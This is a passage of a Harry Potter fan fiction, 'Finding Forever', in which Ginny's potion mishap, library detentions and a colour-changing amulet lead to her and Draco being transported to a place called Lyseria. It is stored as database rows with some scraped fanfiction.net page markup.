being added to your cauldron!&quot;</p>\n\n<p>Ginny gestured at Colin. &quot;Professor Snape, I was watching him when he was shredding, and it was done properly! I don\'t know how that got there!&quot; She pointed shakily at the whole Hydra root.</p>\n\n<p>Snape smirked and folded his arms. &quot;Well then, if you\'re so confident in his potion making skills, why don\'t you try it out? Have a sip, Miss Weasley.&quot;</p>\n\n<p>Ginny swallowed hard. This potion, intended to be a simple beauty potion (as simple as a potion from &quot;Dastardly Difficult Potions We All Know and Love&quot; could possibly be) that made eyes sparkle, cheeks rosy, and hair grow long and shine healthily. Overall, it wasn\'t a bad thing to try. However, they had used old horned beetle, and an entire hydra root had contaminated the mixture.</p>\n\n<p>Ginny lifted a vial to her face and smelled it. It reminded her of feet, dirt and sulfur.</p>\n\n<p>Snape grinned. &quot;Any time now, Miss Weasley.&quot;</p>\n\n<p>With a sickened grimace, Ginny drank the potion.It tasted worse than it smelled, and soon she was bent over and coughing in the middle of the Potions classroom. She felt a tingling, then a burning in her face and eyes, and a stretching feeling in her scalp. The entire class, which had been holding their breath, suddenly gasped. Her hair had been just past her shoulders before, but was now growing past her hips, her knees, her feet. It fell out of its braids and pooled at her heels, trailing behind her like a train and shining gloriously.</p>\n\n<p>Ginny didn\'t know what to do. The burning in her face and eyes was just starting to subside. When she lifted her head and looked at the class, they gasped in awe. She was confused by their reaction until one of the girls handed her a small mirror.Ginny looked at her face. Her brown eyes were brightly shot with blue and green and gold, and were gleaming dazzlingly. They were almost painful to look at, though oddly entrancing. She lifted a hand to her cheeks. The potion hadn\'t made her cheeks rosy, exactly; she looked as if she were blushing painfully.</p>\n\n<p>The other girls stared in awe. &quot;Ginny, how did you make that?&quot; one asked.</p>\n\n<p>&quot;Can you make more for me?&quot; asked another.</p>\n\n<p>&quot;Enough!&quot; Snape glared at Ginny through narrowed eyes. &quot;I\'ve had plenty of your arrogance for one day. You will take a detention tonight and two nights thereafter for the audacious sabotage of your potion.You will not go to Madam Pomfrey to deactivate the potion, due to your disgusting smugness regarding the results.&quot;</p>\n\n<p>&quot;But Professor, when will it &#8211;&quot; Ginny began, but was cut off.</p>\n\n<p>&quot;I said, enough! That will be all, Miss Weasley.When you have all cleaned your lab stations, class is dismissed.&quot; Snape walked to the back of the room, looking pleased with himself.</p>\n\n<p>Ginny left the class and headed to her dorm. Her hair dragged on the floor behind her, and she had to keep scooping it up in her arms to avoid tripping other students. Anyone who met her eyes stared at her in amazement, and Lavender had actually asked her in the common room about purchasing some of her potion.</p>\n\n<p>On her way up to her dormitory, Ginny found Hermione. The other girl stared at her in shock. &quot;Ginny!What did you do?&quot; Hermione touched Ginny\'s hair.</p>\n\n<p>Ginny spoke frantically, her newly luminous eyes filling with tears. &quot;Snape, and a beauty potion, but he cheated! And he put it in when it shouldn\'t have, and the Hydra root, oh Hermione!&quot; Ginny sniffled and held the hair in her arms up. &quot;And now my eyes glitter! And my face is so red!&quot;</p>\n\n<p>Hermione led Ginny to her room and had her explain what happened more clearly.</p>\n\n<p>&quot;So Snape put a whole hydra root and an expired crushed horn beetle in a <st1:city><st1:place>Luxor</st1:place></st1:city>\'s Looks potion?&quot; Hermione looked as if she were calculating something in her head.</p>\n\n<p>&quot;Well, I put in the horn beetle, but yeah.&quot;</p>\n\n<p>&quot;Have you tried cutting your hair?I\'m not sure it\'ll work if it\'s a higher level potion like this, but as you have about two and a half meters of hair at the moment, I think it\'s worth a try.&quot; Hermione picked up a sharp pair of fabric scissors from a dresser drawer.She spent the next twenty minutes cutting Ginny\'s hair just past the shoulder, doing her best to go straight across.</p>\n\n<p>Ginny shook her head to rid her hair of stray pieces and get the feel of her cut. Hermione put her hands on her lap and looked pleased with her work. &quot;There! It\'s perfectly fine... oh no.&quot;</p>\n\n<p>Ginny\'s hair was growing back in floods, and was soon longer than it had been before it was cut.</p>\n\n<p>Hermione sighed in frustration. &quot;All right, I\'ll take a look in the books I have and see what they say. I have Ancient Runes early tomorrow, so I don\'t think I\'ll have time for the library.&quot;</p>\n\n<p>Ginny looked hopeful. &quot;I have a detention in the library tonight, if you have any books you wanted specifically, I could get them for you.&quot;</p>\n\n<p>Hermione\'s eyes lit up. &quot;Could you?&quot;She pulled out her wand.&quot;Accio parchment!&quot; The parchment flew to her hand as she grabbed a quill and ink from her dresser. She scribbled some book titles ontothe page and handed it to Ginny, who folded it and put it in her pocket.As she did, Hermione caught sight of the watch chain inside.</p>\n\n<p>&quot;You\'re still carrying your brother\'s old pocket watch?&quot;she asked as she begun braiding Ginny\'s hair.</p>\n\n<p>Ginny pulled the amulet out of her pocket. &quot;Well, the chain at least.I don\'t have a watch on it now.&quot;</p>\n\n<p>Hermione looked at the pendant quizzically. &quot;Where did you get this?&quot;</p>\n\n<p>Ginny would have shaken her head, but it was held still as Hermione braided her hair. &quot;It\'s not a big deal, I found it outside.&quot; Ginny was determined not to speak about Draco with her just yet. &quot;Why, is it dark magic?I know it\'s magical, since it changes color every once and awhile.&quot;</p>\n\n<p>Hermione tilted the forest green pendant in her hand. &quot;Changes color? No, I\'m not sure if it\'s dark magic or not. I\'ll have to look that up as well. Can you add Amazingly Ancient Artifacts to your list? Because that thing\'s definitely old enough to be in there.&quot;</p>\n\n<p>Ginny nodded slightly and Hermione continued braiding Ginny\'s hair. &quot;I don\'t know what we\'re going to do with this,&quot; she said as she neared the end.&quot;It\'s still way too long. When do you have to leave?&quot;</p>\n\n<p>Ginny checked her watch. &quot;About fifteen minutes. Maybe you could pin it up?&quot;</p>\n\n<p>In the end, Ginny\'s braid was pinned into three loops at the back of her head.It looked almost Victorian, and was pretty in an unusual way.Ginny was sure Luna Lovegood, a Ravenclaw in her year, would like it if she saw her before she took it down.Anyway, it would keep it out of the way, so that was all that mattered.Ginny thanked Hermione for her help and ran up to her dormitory to change.</p>\n\n<p>Ginny changed out of her school robes and into a comfortable skirt and her Weasley sweater.Putting on a fresh pair of socks, she grabbed the list from her school robes and put it in her pocket.</p>\n\n<p>She found the amulet from her robe pocket as well, and held it, studying it.It had a mystical, antique feel to it, and the shades of green in pendant swirled like wisps of smoke trapped in the glass.There was something about it that she couldn\'t quite place.It relieved her to know Hermione was researching it, as Ginny saw it change every couple days, working its way up the color spectrum. She couldn\'t help the feeling the colors were counting down to something...</p>\n\n<p>Ginny attached the pendant to a necklace chain, laying her brother\'s watch chain on her bedside table, and secured it around her neck. Tucking it under her sweater, Ginny left for her detention.</p> '),
	(155, 8, ' <p>Chapter Eight</p>\n\n<p>When Ginny reached the library, Mrs. Pince instructed her to shelve a huge stack of dusty books. Dropping her bag next to a table, she began her task. Despite her daydreaming, Ginny was making good progress. After only ten minutes, she had just about cleared her stack of books. As she reached for the last book, however, a pile larger than her original one was dropped onto it. When she looked up, she was only mildly surprised to see who had dropped them.</p>\n\n<p>&quot;Mr. Malfoy, I should have known.&quot; Ginny sighed in exasperation and reached out to pick up the next few books from the new stack.</p>\n\n<p>&quot;Weasley?&quot; Ginny didn\'t miss a beat in shelving to reply, instead muttering an apathetic &quot;Hmm?&quot;. Draco folded his arms across his chest. &quot;Let me just get straight to the point. You see-&quot;</p>\n\n<p>Ginny interrupted with a laugh. &quot;It doesn&#8217;t matter where you start, Malfoy, you&#8217;ll always end the same way.&quot; Ginny spoke in matter of fact tone. &quot;You&#8217;re an arse.&quot;</p>\n\n<p>With that, she reached for the next book to shelve. Draco grabbed her arm, then thought better of it and let it go, finding his purpose more important than bickering and scaring her off again. He put up his hands in mock defense. &quot;There&#8217;s no need for random acts of hostility. Look, Weasley, I really need that pendant back.&quot;</p>\n\n<p>Ginny smirked. &quot;Oh, really? And just what makes it so special?&quot; Draco looked disinclined to answer that. Ginny looked at his silent form with contempt. &quot;You&#8217;re a joke, Malfoy.&quot;</p>\n\n<p>Draco&#8217;s patience was running thin. It took every fiber of his being to keep from losing his temper with her. &quot;Look, I know we don&#8217;t get along very well, but I really need you to do this for me. As a favor?&quot;</p>\n\n<p>Ginny snorted with laughter. &quot;What makes you think I&#8217;d be willing to do <i>anything</i> for you, let alone give up something I know nothing about? What if it&#8217;s Dark Magic and you just want it back so you can torture more innocent victims? I would never forgive myself if I put something like that in the wrong hands.&quot; Ginny&#8217;s arms were folded now.</p>\n\n<p>&quot;&#8220;Listen, Weasley, if it is Dark Magic, isn&#8217;t there a chance it&#8217;s already being used on you?&quot;</p>\n\n<p>She shook her head. &quot;You wouldn&#8217;t want it back if it was. I know how much animosity there is between our families. You&#8217;d probably like to put me under spell.&quot;</p>\n\n<p>Draco laughed to himself. <i>Not this spell, you can be sure of that, Weasley.</i> &quot;Not hardly. If I had powerful Dark Magic, why would I waste it on you or your family when I could just push you off that book ladder or something?&quot; Ginny secured her position on the ladder and eyed him warily. &quot;The magic in that is not meant for you, Weasley. It&#8217;s really important I get it back.&quot;</p>\n\n<p>&quot;Unfortunately for you, Malfoy, what&#8217;s really important to you doesn&#8217;t matter to me. It&#8217;s not meant for me? I think the amulet&#8217;s chosen that for itself hasn&#8217;t it?&quot;</p>\n\n<p>Draco&#8217;s eyes widened in horror. He hadn&#8217;t even thought of that. The amulet could have chosen her. Now there was no choice. He had to get it back now, at any cost.</p>\n\n<p>&quot;What? Cat got your tongue, Malfoy? Problem?&quot; Ginny stepped down from the ladder and faced him, smirking again.</p>\n\n<p>Draco&#8217;s eyes narrowed. &quot;I need to get the amulet back. So we&#8217;ve got to-&quot;</p>\n\n<p>&quot;Why do you need it back? And who said anything about &quot;we&quot;?&quot;</p>\n\n<p>&quot;If you don&#8217;t give it back,&quot; Draco continued, ignoring her. &quot;&quot;We&quot; will have a lot more problems. That thing&#8217;s not even mine.&quot;</p>\n\n<p>Ginny didn&#8217;t look surprised. &quot;What did you do, Malfoy, take it from some poor girl on the streets? Smuggle it in from Diagon Alley?&quot;</p>\n\n<p>Draco moved toward her, putting his hand on her shoulder. &quot;This is serious. You don&#8217;t want it. It&#8217;s&#8230;&quot;</p>\n\n<p>Ginny became a little more flustered with every inch he came closer. The arm he was touching was tingling and she couldn&#8217;t help but lean into his hand a little. The way he was looking at her was so desperate, so persuasive, that she almost gave him what he wanted.</p>\n\n<p>&quot;What do you want then, Malfoy?&quot; she asked, trying to keep her mind on track.</p>\n\n<p>He slipped his arm around her waist and pulled her a little closer. &quot;What&#8217;s best for both of us. Trust me, it&#8217;ll make us both miserable if you keep it.&quot;</p>\n\n<p>Ginny, blushing, slipped out of his grasp and backed up to the bookcase. &quot;And why is that, Malfoy? I&#8217;m not giving it up until I know what it does.&quot; She climbed the book ladder to continue shelving and looked at him pointedly. &quot;What does it do?&quot; </p>\n\n<p>Draco climbed up after her, his eyes at her level, but standing a step lower. Ginny scooted back on her step as he came closer, eventually holding the top of the bookcase to maintain her balance. As if he were to relay an important secret message, Draco was quickly closing the gap between the two of them. Ginny became flustered and nervous in those few seconds it took for him to get to her, the feeling dizzying. When his lips brushed her ear to speak, Ginny lost it. She gripped the bookcase a little tighter to stabilize herself, but her feet slipped from the step she had been on. Ginny was sent crashing to the floor, the bookcase knocking over the ladder Draco was standing on, sending both the case and the boy toppling after her. </p>\n\n<p>There was a loud thud combined with the sound of hundreds of hardcover books falling off their shelves. Draco had landed between the bookcase and Ginny, who was on the floor. It was only a split second later that they heard an ear-piercing shriek from the other end of the library. </p>\n\n<p>&quot;MISS WEASLEY! MR. MALFOY!&quot; Mrs. Pince stormed toward them. &quot;I have had absolutely enough of your shenanigans! You two are here on a detention, one of several days you&#8217;re to serve, if I recall. You&#8217;ve failed to even near the completion of your assignment for today&#8217;s detention and in the process wrecked my library! Both of you will be serving a week more for me, separately. I expect these books to be back where they&#8217;re supposed to be, understood?&quot; A few wisps hair had fallen from the bun that had been at the top of her head and her glasses were askew from her anger and sudden movements. She magically lifted the bookcase off the students and turned on her heel, marching back to her desk.</p>\n\n<p>&quot;I can&#8217;t believe this. I have Quidditch practice at this time the rest of the week. Damned Mrs. Pince.&quot; Draco glared at her back as she pulled out the chair of her desk.</p>\n\n<p>Ginny shifted uncomfortably. &quot;Malfoy?&quot;</p>\n\n<p>&quot;What?&quot;</p>\n\n<p>Ginny blushed and strained against his weight. &quot;You&#8217;re still on top of me.&quot;</p>\n\n<p>She was right. Draco was still laying where he had fallen, straight across her torso. He quickly stood upright. The pins Hermione had put in Ginny&#8217;s hair fell out when Ginny stood, flowing down her back to the floor. Draco, who had been brushing dirt off his clothing, noticed and smirked at her. He gestured at the red hair pooling at her feet.</p>\n\n<p>&quot;Does falling cause that to happen often, Rapunzel?&quot; With all honesty, Draco had to admit she looked like a princess, if not a haphazard one.</p>\n\n<p>Ginny straightened her skirt. &quot;With what&#8217;s happened recently, nothing would surprise me,&quot; she huffed. &quot;Another week&#8217;s detention. I haven&#8217;t had a detention in years, and now I\'ve got eight of them.&quot;</p>\n\n<p>&quot;It won&#8217;t be as bad as you think.&quot; He bent, picking up some books and sliding them onto shelves.</p>\n\n<p>Ginny laughed. &quot;You should know. With all the time you&#8217;ve served for our teachers, you could be a house elf.&quot;</p>\n\n<p>Draco scowled. &quot;Don&#8217;t compare me to a house elf. Ever. Got that, Weasley?&quot;</p>\n\n<p>&quot;Touchy&#8230;&quot;</p>\n\n<p>Draco growled and slid an entire armful of books onto a shelf. Ginny stopped him. &quot;You&#8217;re supposed to put them in order! You can&#8217;t just slide them up there like that!&quot;</p>\n\n<p>Draco sighed heavily. &quot;Yes, I can. Just wait. If you want, you can do your own couple shelves and I&#8217;ll do mine. But I&#8217;m telling you, I&#8217;ll be done long before you will.&quot; Draco thought he heard her begin to mutter things like &quot;half ass&quot; and &quot;stuck up prat&quot;, but he wasn&#8217;t too sure and let it slide. </p>\n\n<p>Within five minutes, Draco had finished shoving all the books onto his shelves. Taking out his wand, he spoke an incantation and the books magically resorted themselves into their correct places.</p>\n\n<p>&quot;Experience?&quot; Ginny asked, peeved. Draco just smiled, saluted her, and walked out of the library.</p>\n\n<p></p>\n\n<p>Ginny spent another two hours and a half shelving her books the way she was supposed to. She cursed him for cheating and for having finished, for pestering her and for just being a prat. She was bitter and, dare she admit it, lonely. The time she spent gave her time to think and wonder, but in the end was not time wasted. She had set aside the books off Hermione&#8217;s list and a book for herself, a romance. &quot;Heavy Heart of a Hippogriff Handler&quot; had a character on the cover wearing leather pants and a beckoning smile. It had convinced Ginny to pick up some light reading to take her mind off things. Stuffing it in her book bag, she checked out with Mrs. Pince and went back to the Gryffindor common room.</p>\n\n<p>The common room was dimly lit and quiet at this time of the evening. The Quidditch team was on the pitch, several students were working in their dorms and even most of the figures in the paintings on the wall were off visiting other parts of the castle. Ginny sighed, deciding to deliver Hermione&#8217;s books.</p>\n\n<p>Walking up the stairs toward the Head Girl&#8217;s room, she wondered. What was she going to do? Her situation was stagnant with Seamus. She cared, but she didn&#8217;t; he cared, but he didn&#8217;t. She was seeing it more like the relationship of convenience it was. Really, it wasn&#8217;t even a relationship. She sighed again. The amulet was changing color every day, and she worried what it might do. What if it really was Dark Magic? She thought about taking it to Dumbledore, but she didn&#8217;t think the situation was that serious. Malfoy, however, did.</p>\n\n<p>Malfoy. Ginny didn&#8217;t really know how she felt about him. There was less hatred than there had been before, but that had been mostly based on things he&#8217;d done to her brother, Harry and Hermione. Harry was still acting oddly lately, but Harry, really, was the least of her worries.</p>\n\n<p>She reached the door to Hermione&#8217;s room. It had a little label on it. &#8220;Hermione Granger, Head Girl&#8221;. It looked very much like the writing on her Head Girl badge. Hermione had earned her title. She still studied twice as much as everyone else, and would probably be studying even now.</p>\n\n<p>Ginny knocked at the door and walked in as usual. She was surprised at what she saw. It was normal for Harry to visit Hermione in her room, but not for them to be sitting as intimately as they were. They\'d been sitting right next to each other, Harry&#8217;s hand cupping the side of Hermione&#8217;s face and her hand on his knee. Hermione looked like she was in a daze until she had realized Ginny was in the room, at which time she snapped back to reality, flew apart from Harry and assumed a look of slight panic. she tried to speak.</p>\n\n<p>&quot;Ginny, I&#8230;um, well&#8230;&quot;</p>\n\n<p>Ginny put her out of her misery. &quot;It&#8217;s alright, I &#8230; wasn&#8217;t expected.&quot; She smiled meaningfully. &quot;I&#8217;ll just drop by later, okay?&quot; Without waiting for a response, she turned on her heel and walked out of the room, closing the door behind her. She shook her head and smiled to herself. She wasn&#8217;t exactly sure what had happened, but then again, they probably weren&#8217;t sure either. However, Ginny knew what she <i>thought</i> she saw, and from the look of it, Harry and Hermione were going to be spending a lot more time together. </p>\n\n<p>A few months ago, Ginny would have been upset with the situation. She was mostly over Harry, but seeing him with other people was always difficult for her. Seeing him with Hermione felt normal, though, and Ginny wished them well. Sure she was a little jealous, but she had Seamus. Well, sort of.</p> '),
	(155, 9, ' <table width="100%" cellspacing="0" cellpadding="0" border="0">\n\n<tbody><tr><form name="fido"></form><td><a href="http://www.fanfiction.net/"><img border="0" src="/static/images/logo_strawberry.gif"></a></td>\n\n<td align="right"> doBanner(); </td>\n\n</tr></tbody></table><table width="100%" border="0">\n\n<tbody><tr><th><table cellpadding="2" cellspacing="0" width="100%"><tbody><tr><td width="5%" nowrap height="30">\n\n<a class="thlink" href="http://www.fanfiction.net/justin.php">Just In</a> . <a class="thlink" href="http://www.fanfiction.net/directory.php">Directory</a> . <a class="thlink" href="http://www.fanfiction.net/columns.php">Columns</a> . <a class="thlink" href="http://www.fanfiction.net/dictionary.php">Dictionary</a> . <a class="thlink" href="http://www.fanfiction.net/search.php">Search</a></td><td align="right" nowrap>\n\n<a class="thlink" href="http://www.fanfiction.net/secure/menu.php">Log In</a> . <a class="thlink" href="http://www.fanfiction.net/reg.php">Register</a>\n\n</td>\n\n<td align="right"><select name="fidomido">\n\n<option value="1">Menu</option><option value="/adblocker.php">- Ad Blocker</option><option value="/help.php">- Help</option><option value="/tos.php">- TOS </option><option value="/credits.php">- Credits</option><option value="/privacy.php">- Privacy</option></select></td></tr></tbody></table></th></tr></tbody></table>\n\n<table class="border" width="100%" cellspacing="0" cellpadding="6" bordercolor="000000">\n\n<tbody><tr><form name="fidochap"></form>\n\n<td class="borderbottom">\n\n<table cellspacing="0" cellpadding="0" width="100%"><tbody><tr>\n\n<td><a href="/subcats.php?categoryid=202">Books</a> &#187; <a href="/list.php?categoryid=224">Harry Potter</a> &#187; <b>Finding Forever</b></td>\n\n<td align="right">text size: <a href="javascript:updateFontSize(\'u\');">(+)</a> : <a href="javascript:updateFontSize(\'d\');">(-)</a></td>\n\n</tr></tbody></table>\n\n</td>\n\n</tr>\n\n<tr>\n\n<td class="borderbottom">\n\n<table cellspacing="0" cellpadding="0" width="100%"><tbody><tr>\n\n<td>Author: <a href="/profile.php?userid=197025">solemnpessimist</a></td>\n\n<td align="RIGHT"><input type="BUTTON" value="«"><select name="chapter"><option value="1">1. Books and Boys</option><option value="2">2. Games</option><option value="3">3. In the Nook</option><option value="4">4. The Rumor Mill</option><option value="5">5. Through Silver Colored Glasses</option><option value="6">6. Improper Possession</option><option value="7">7. Plans and Potions</option><option value="8">8. The Library</option><option value="9" selected>9. Activation</option></select></td></tr></tbody></table></td></tr><tr><td><table cellspacing="0" cellpadding="0" width="100%"><tbody><tr><td>R - English - Romance/Action/Adventure - Reviews: <a href="/r/1146520/0/1/">33</a> - Published: 12-27-02 - Updated: 07-14-04 </td><td align="right">id:1146520</td></tr></tbody></table></td></tr></tbody></table> document.write(\'\'); <p>Chapter Nine- Activation</p><p>Ginny was sick of shelving. It was her third day of detention, and she was finally finishing her stacks of books. She scowled. Draco had finished his detention hours before her because of his sorting spell, and she was missing her Quidditch practice.</p><p>She paused, a book in her hand. It hadn\'t been all bad, she had to admit. One good thing about Ginny&#8217;s detentions was that they gave her time to think. For the past couple days, seeing Seamus was&#8230;boring. She didn&#8217;t know quite what had happened, but everything just seemed dull around him. The two of them would sit with Dean and Lavender at mealtimes or to study, but they never had anything to talk about, and Seamus always seemed to be thinking of something else. Then again, Ginny usually let her mind wander too.</p><p>She looked at the amulet that had been tucked under her sweater. Another problem that was preoccupying her. It had changed again. Wednesday it had been a yellowish gold color, and Thursday it was a mix of orange and bronze. Now, it was red. A deep, scarlet red with bronze flecks left over from the day before.</p><p>It was almost mesmerizing to look at its swirling stone. It seemed to have more depth than was possible for a stone of its size, which made it seem all the more magical. Ginny tilted it back and forth in her hand. She had noticed over the past few days that the colors seemed to be changing in a pattern. Purple, blue, green, gold, orange, red&#8230; What worried her was that the colors had seemed to be counting down to something. She had assumed red would be the last color, but nothing had happened. Ginny looked at it again. Maybe the colors didn&#8217;t count down to anything. Maybe they just changed to be pretty. She frowned. No, Malfoy wouldn&#8217;t want it back so badly if all it did was be pretty.</p><p>So what was it?</p><p>Ginny sighed and slipped the pendant back under her sweater. She hurried to finish shelving the last couple of books before she missed more of the Quidditch practice. Placing <i>Finding Fungi</i> between <i>The Herbalist&#8217;s Guide to Paprika</i> and <i>Horrible Maladies and How to Cure Them</i>, she dusted off her skirt. Ginnypicked up her broom and her bag and ran to the Quidditch pitch.</p><p>Draco was worried. It had been almost a week since Ginny had started carrying around the pendant, and he knew time was running thin. Why was she being so stupid? Why couldn&#8217;t she have just returned it to him in the beginning and avoided all this trouble?</p><p>He snorted. She was a Weasley, through and through. Always getting in the way. He didn&#8217;t know how, but he had get it back or at least find out how much time he had before it would activate.</p><p>He checked his watch. He&#8217;d been sitting by the Quidditch pitch for almost an hour now. He was concealed from Ginny&#8217;s view, but he could watch her as she flew back and forth, practicing her scoring. He had also stopped by the night before at the team practice, but he had been kicked out for &quot;spying on an opposing team&quot;. It was amazing that Draco was up before breakfast and out waiting for a Weasley to stop practicing. He yawned and checked the skies again. She was gone.</p><p>&quot;Malfoy!&quot;</p><p>Draco&#8217;s head snapped up and he turned around. Ginny had landed and walked up behind him. She had her hands on her hips, and her hair and Quidditch robe were in disarray.</p><p>&quot;What are you doing here? The nerve of you, coming back to spy on my practice after being kicked out yesterday!&quot; Ginny&#8217;s eyes gleamed fiercely.</p><p>&quot;I&#8217;m not out to spy on your silly practice. Get a clue, Weasley,&quot; Draco countered easily. &quot;I need the amulet back.&quot;</p><p>Ginny looked exasperated. &quot;Again with the stupid pendant? What&#8217;s the big deal anyway? It only changes color.&quot;</p><p>Draco narrowed his eyes at her.</p><p>Hermione had been up for hours, searching the library. Ginny&#8217;s amulet problem had begun to worry her, and though she didn&#8217;t know why, the worry had only made her search more thoroughly.</p><p>She finally found something, a bit of information, in a large, dusty tome. She read it as quickly as she could, and felt her chest tighten with every word. Pointed in the right direction by several sleepy Gryffindors, Hermione ran to find Ginny.</p><p>&quot;Fine. Whatever. Can I have it back now?&quot;</p><p>Draco and Ginny had argued for over ten minutes. He held out his hand. Worn down, Ginny retrieved it from under her sweater. A pearly-white center glistened inside the silver setting. Pulling it over her head, she unfastened it from her chain and looked at it quizzically. <i>It wasn&#8217;t white before,</i> she thought. Shrugging off her concerns, Ginny held out her hand, letting the amulet slide into Draco&#8217;s.</p><p>&quot;Ginny,&quot; Hermione shouted as she ran toward the Quidditch pitch. &quot;Ginny!&quot;</p><p>Ginny turned. Just slightly, Draco&#8217;s hand touched her own as Ginny let go of the amulet. In that instant, a huge flash of white blinded all vision. Hermione ran unseeing into where Ginny should have been. Her eyes recovered slowly. The amulet had fallen to the ground, and Ginny and Draco had disappeared.</p><p>Thank you so much, my readers! Reviews are encouraging and feel free to tell me what you\'d like to see happen next. Updates are coming soon!</p>\n\n<form name="myselect"><table width="100%">\n\n<tbody><tr>\n\n<td> function select_drop(sel_value) { var storyid = 1146520; var chapter = 9; var userid = 197025; var title = \'Finding+Forever\'; var pre = 0; var rev = 1; if(sel_value == \'review\') { var toast = window.open(\'/secure/review.php?storyid=\'+storyid+\'&amp;chapter=\'+chapter+\'&amp;title=\'+title+\'&amp;storytextid=5307153\'+\'&amp;userid=\'+userid+\'&amp;pre=\'+pre+\'&amp;rev=\'+rev,\'0\', \'toolbar=0,scrollbars=0,location=0,statusbar=1,menubar=0,resizable=1,width=520,height=450,left=312,top=184\'); } else if (sel_value == \'abuse\') { var toast = window.open(\'/secure/report.php?storyid=\'+storyid+\'&amp;title=\'+title,\'0\',\'toolbar=0,scrollbars=1,location=0,statusbar=1,menubar=0,resizable=1,width=510,height=510,left=312,top=184\'); } else if (sel_value == \'fs\') { var toast = window.open(\'/secure/fav_add.php?fs=1&amp;storyid=\'+storyid,\'0\',\'toolbar=0,scrollbars=1,location=0,statusbar=1,menubar=0,resizable=1,width=510,height=510,left=312,top=184\'); } else if (sel_value == \'fa\') { var toast = window.open(\'/secure/fav_add.php?fa=1&amp;userid=\'+userid,\'0\',\'toolbar=0,scrollbars=1,location=0,statusbar=1,menubar=0,resizable=1,width=510,height=510,left=312,top=184\'); } else if (sel_value == \'aa\') { var toast = window.open(\'/secure/fav_add.php?aa=1&amp;userid=\'+userid,\'0\',\'toolbar=0,scrollbars=1,location=0,statusbar=1,menubar=0,resizable=1,width=510,height=510,left=312,top=184\'); } } <select name="opt">\n\n<option value="review">Submit Review </option><option value="abuse">Report Possible Abuse </option><option value="fs">Add Story to Favorites </option><option value="fa">Add Author to Favorites </option><option value="aa">Add Author to Author Alert </option></select>\n\n<input type="button" value="Go">\n\n</td>\n\n<td align="RIGHT"><input type="BUTTON" value="«"><select name="chapter"><option value="1">1. Books and Boys</option><option value="2">2. Games</option><option value="3">3. In the Nook</option><option value="4">4. The Rumor Mill</option><option value="5">5. Through Silver Colored Glasses</option><option value="6">6. Improper Possession</option><option value="7">7. Plans and Potions</option><option value="8">8. The Library</option><option value="9" selected>9. Activation</option></select></td>\n\n</tr>\n\n</tbody></table></form> '),
	(155, 10, ' <p>The blast from the amulet\'s activation was powerful enough to throw Draco and Ginny to the ground. Ginny moved her arms from her head and looked around. Her eyes widened in shock. They weren\'t near the Quidditch pitch anymore. In fact, it looked as if they weren\'t even on Hogwarts grounds. Around them were lush green grasses and flowering foliage. Towering trees blocked most of the setting sun\'s rays and Ginny\'s view of almost anything else. As far as she could see, they were in the middle of a fairly large forest. Other than that, Ginny had no idea where they were. She looked at Draco. Having gained his bearings, he had stood up. His hands were propped on his hips as he surveyed his surroundings. &quot;Where are we?&quot; she asked him.</p>\n\n<p>Draco brushed dirt off his clothing. &quot;I haven\'t a clue. This is all your fault. If you hadn\'t been such an idiot about giving it back before...&quot;</p>\n\n<p>&quot;Well, if you had told me!&quot;</p>\n\n<p>&quot;I shouldn\'t have needed to tell you!&quot;</p>\n\n<p>Ginny snorted. &quot;Yeah, like I would have trusted you. You hate me, my family, my friends, Gryffindor House. You, everyone is assured, are a Deatheater. But, no, sure, I\'ll trust the Prince of Slytherin. As soon as You-Know-Who invites me to dinner!&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>They stood in a painful silence for a long time. Ginny started to shift her weight from foot to foot uncomfortably. She finally turned around. &quot;Do you know where we are?&quot; she asked, sighing heavily and avoiding his eyes.</p>\n\n<p>Draco answered, his face impassive, &quot;Where do you think we are?&quot;</p>\n\n<p>&quot;I don\'t know, France? Honestly, Malfoy, all I know is that we\'re not where we\'re supposed to be.&quot;</p>\n\n<p>Draco smirked. &quot;You\'ve got that last part right.&quot; He kept the amused smile on his face. In actuality, Draco didn\'t think the situation was very funny at all.</p>\n\n<p>&quot;Where are we, then?&quot; Ginny asked impatiently.</p>\n\n<p>Draco looked ahead. The forest had a dirt path that lead deeper into it. He couldn\'t tell from where they were standing how long their trek might be. &quot;Well, Weasley, you may be content with repeating that question, but I\'m going to find out.&quot;</p>\n\n<p>Ginny rolled her eyes. With that, they starting walking down a path of which neither truly knew the destination.</p>\n\n<p>The light through the trees was dimming, and the day was slowly coming to an end. The air became a bit cooler, and Ginny was glad she had her sweater today to keep her warm. Draco was muttering to himself and pointing his wand in different directions, trying to orientate himself. Ginny just followed him quietly. For a random place to be stuck in, it was rather pretty. Crickets chirped quietly, fireflies dotted the trees with light, and it gave her a peaceful feeling to be there. Putting her hands in her pockets, she strolled up to Draco.</p>\n\n<p>&quot;Found what you were looking for yet?&quot; she asked innocently.</p>\n\n<p>&quot;If I\'d found something, I wouldn\'t still be looking.&quot; Draco shook his head in annoyance and continued looking at his wand in hopes of direction.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;So what are you looking for?&quot;</p>\n\n<p>Draco ignored her and pointed his wand to the left, then the right. Frustrated with the lack of results, he shook his wand. Nothing happened. Sighing, he sat down, leaning against a tree.</p>\n\n<p>&quot;I tried a directional charm, but I got nothing. I\'ve been trying to figure out where we could be, but geographically, I don\'t know.&quot;</p>\n\n<p>Ginny looked confused. &quot;But you know where we are otherwise? Er, non-geographically?&quot;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>Draco sighed again. &quot;Unfortunately.&quot; He put away his wand and continued, &quot;A long time ago my mother received the amulet from her father as a gift. She used the amulet when she was deciding whether to marry an old suitor of hers or not. I never asked what happened with him, but I suppose she made up her mind and married my father instead.&quot;&nbsp; Ginny nodded, wondering what the point of all this would be. &quot;I think we\'re in Lyseria.&quot;</p>\n\n<p>&quot;Lyseria?&nbsp; I thought you didn\'t know where we were.&quot;</p>\n\n<p>Draco rolled his eyes. &quot;You\'ve never heard of Lyseria being on a map, have you?&quot;</p>\n\n<p>Ginny thought a moment. &quot;Well, no, but...&quot;</p>\n\n<p>&quot;That\'s because it\'s not.&quot;</p>\n\n<p>Ginny looked perplexed. &quot;Where is it then? If we\'re in Lyseria but it\'s not anywhere you could find on a map, then where could we possibly be?&quot; She looked at her surroundings. &quot;Why are we here anyway?&quot;</p>\n\n<p>Draco shrugged. &quot;To be honest, I\'m not completely sure where Lyseria is supposed to be. All I know is that it does exist, and that we\'re here.&quot; He paused. &quot;But I don\'t know why <i>you\'re</i> here.&quot;</p>\n\n<p>&quot;What? Why...&quot;</p>\n\n<p>&quot;If you had given the 